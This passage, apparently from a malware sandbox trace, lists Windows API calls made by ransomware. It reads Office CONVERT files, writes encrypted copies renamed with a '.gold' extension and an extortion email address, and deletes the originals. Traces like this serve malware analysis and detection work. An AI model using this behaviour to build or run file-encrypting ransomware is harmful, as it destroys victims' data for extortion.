Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.838] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.838] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.839] GetLastError () returned 0x0 [0110.839] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x35b0, lpOverlapped=0x0) returned 1 [0110.840] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x35c0, lpOverlapped=0x0) returned 1 [0110.841] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.841] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.841] SetEndOfFile (hFile=0x3c0) returned 1 [0110.841] CloseHandle (hObject=0x3c0) returned 1 [0110.841] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.841] SetEndOfFile (hFile=0x3b4) returned 1 [0110.843] CloseHandle (hObject=0x3b4) returned 1 [0110.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae")) returned 1 [0110.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.846] lstrlenW (lpString=".doc") returned 4 [0110.846] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0110.846] lstrlenW (lpString=".docx") returned 5 [0110.846] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0110.846] lstrlenW (lpString=".pdf") returned 4 [0110.846] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString=".xls") returned 4 [0110.846] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString=".xlsx") returned 5 [0110.846] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0110.846] lstrlenW (lpString=".ppt") returned 4 [0110.846] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.846] lstrlenW (lpString=".zip") returned 4 [0110.846] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString=".rar") returned 4 [0110.846] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString=".bz2") returned 4 [0110.846] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0110.846] lstrlenW (lpString=".7z") returned 3 [0110.846] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0110.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.846] lstrlenW (lpString=".dbf") returned 4 [0110.846] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0110.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.846] lstrlenW (lpString=".1cd") returned 4 [0110.846] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0110.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.846] lstrlenW (lpString=".jpg") returned 4 [0110.846] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.846] lstrlenW (lpString=".doc") returned 4 [0110.846] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0110.846] lstrlenW (lpString=".docx") returned 5 [0110.846] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0110.846] lstrlenW (lpString=".pdf") returned 4 [0110.846] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString=".xls") returned 4 [0110.846] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString=".xlsx") returned 5 [0110.846] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0110.846] lstrlenW (lpString=".ppt") returned 4 [0110.846] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.846] lstrlenW (lpString=".zip") returned 4 [0110.846] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString=".rar") returned 4 [0110.846] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0110.846] lstrlenW (lpString=".bz2") returned 4 [0110.847] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0110.847] lstrlenW (lpString=".7z") returned 3 [0110.847] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0110.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.847] lstrlenW (lpString=".dbf") returned 4 [0110.847] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0110.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.847] lstrlenW (lpString=".1cd") returned 4 [0110.847] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0110.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE") returned 66 [0110.847] lstrlenW (lpString=".jpg") returned 4 [0110.847] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0110.847] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0110.847] lstrlenW (lpString="OLAPPTR.FAE") returned 11 [0110.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.847] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=11704) returned 1 [0110.848] CloseHandle (hObject=0x3b4) returned 1 [0110.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 0x20 [0110.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.848] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.848] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.928] GetLastError () returned 0x0 [0110.928] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x2db8, lpOverlapped=0x0) returned 1 [0110.959] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x2dc0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x2dc0, lpOverlapped=0x0) returned 1 [0110.960] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.960] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.960] SetEndOfFile (hFile=0x3c0) returned 1 [0110.960] CloseHandle (hObject=0x3c0) returned 1 [0110.960] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.960] SetEndOfFile (hFile=0x3b4) returned 1 [0110.962] CloseHandle (hObject=0x3b4) returned 1 [0110.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae")) returned 1 [0111.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.224] lstrlenW (lpString=".doc") returned 4 [0111.224] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.224] lstrlenW (lpString=".docx") returned 5 [0111.224] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0111.225] lstrlenW (lpString=".pdf") returned 4 [0111.225] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString=".xls") returned 4 [0111.225] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString=".xlsx") returned 5 [0111.225] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0111.225] lstrlenW (lpString=".ppt") returned 4 [0111.225] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.225] lstrlenW (lpString=".zip") returned 4 [0111.225] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString=".rar") returned 4 [0111.225] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString=".bz2") returned 4 [0111.225] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.225] lstrlenW (lpString=".7z") returned 3 [0111.225] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.225] lstrlenW (lpString=".dbf") returned 4 [0111.225] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.225] lstrlenW (lpString=".1cd") returned 4 [0111.225] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.225] lstrlenW (lpString=".jpg") returned 4 [0111.225] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.225] lstrlenW (lpString=".doc") returned 4 [0111.225] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.225] lstrlenW (lpString=".docx") returned 5 [0111.225] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0111.225] lstrlenW (lpString=".pdf") returned 4 [0111.225] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString=".xls") returned 4 [0111.225] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString=".xlsx") returned 5 [0111.225] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0111.225] lstrlenW (lpString=".ppt") returned 4 [0111.225] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.225] lstrlenW (lpString=".zip") returned 4 [0111.225] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString=".rar") returned 4 [0111.225] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.225] lstrlenW (lpString=".bz2") returned 4 [0111.225] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.225] lstrlenW (lpString=".7z") returned 3 [0111.225] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.225] lstrlenW (lpString=".dbf") returned 4 [0111.225] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.225] lstrlenW (lpString=".1cd") returned 4 [0111.226] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE") returned 67 [0111.226] lstrlenW (lpString=".jpg") returned 4 [0111.226] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.226] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0111.226] lstrlenW (lpString="DELIMDOS.FAE") returned 12 [0111.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0111.226] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=31120) returned 1 [0111.226] CloseHandle (hObject=0x3e8) returned 1 [0111.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 0x20 [0111.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0111.227] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.227] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0111.227] GetLastError () returned 0x0 [0111.227] ReadFile (in: hFile=0x3e8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x7990, lpOverlapped=0x0) returned 1 [0111.272] WriteFile (in: hFile=0x3ec, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0111.272] ReadFile (in: hFile=0x3e8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.272] WriteFile (in: hFile=0x3ec, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.273] SetEndOfFile (hFile=0x3ec) returned 1 [0111.290] CloseHandle (hObject=0x3ec) returned 1 [0111.290] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.290] SetEndOfFile (hFile=0x3e8) returned 1 [0111.292] CloseHandle (hObject=0x3e8) returned 1 [0111.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 1 [0111.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.613] lstrlenW (lpString=".doc") returned 4 [0111.613] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.613] lstrlenW (lpString=".docx") returned 5 [0111.613] lstrcmpiW (lpString1=".docx", lpString2="S.FAE") returned -1 [0111.613] lstrlenW (lpString=".pdf") returned 4 [0111.613] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.613] lstrlenW (lpString=".xls") returned 4 [0111.613] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.613] lstrlenW (lpString=".xlsx") returned 5 [0111.613] lstrcmpiW (lpString1=".xlsx", lpString2="S.FAE") returned -1 [0111.613] lstrlenW (lpString=".ppt") returned 4 [0111.613] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.613] lstrlenW (lpString=".zip") returned 4 [0111.613] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.613] lstrlenW (lpString=".rar") returned 4 [0111.613] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.613] lstrlenW (lpString=".bz2") returned 4 [0111.613] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.613] lstrlenW (lpString=".7z") returned 3 [0111.613] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.613] lstrlenW (lpString=".dbf") returned 4 [0111.613] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.613] lstrlenW (lpString=".1cd") returned 4 [0111.613] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.613] lstrlenW (lpString=".jpg") returned 4 [0111.613] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.614] lstrlenW (lpString=".doc") returned 4 [0111.614] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.614] lstrlenW (lpString=".docx") returned 5 [0111.614] lstrcmpiW (lpString1=".docx", lpString2="S.FAE") returned -1 [0111.614] lstrlenW (lpString=".pdf") returned 4 [0111.614] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.614] lstrlenW (lpString=".xls") returned 4 [0111.614] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.614] lstrlenW (lpString=".xlsx") returned 5 [0111.614] lstrcmpiW (lpString1=".xlsx", lpString2="S.FAE") returned -1 [0111.614] lstrlenW (lpString=".ppt") returned 4 [0111.614] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.614] lstrlenW (lpString=".zip") returned 4 [0111.614] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.614] lstrlenW (lpString=".rar") returned 4 [0111.614] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.614] lstrlenW (lpString=".bz2") returned 4 [0111.614] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.614] lstrlenW (lpString=".7z") returned 3 [0111.614] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.614] lstrlenW (lpString=".dbf") returned 4 [0111.614] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.614] lstrlenW (lpString=".1cd") returned 4 [0111.614] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0111.614] lstrlenW (lpString=".jpg") returned 4 [0111.614] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.614] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0111.614] lstrlenW (lpString="ODBC.SAM") returned 8 [0111.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.639] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=63864) returned 1 [0111.639] CloseHandle (hObject=0x394) returned 1 [0111.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 0x20 [0111.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.655] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.658] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 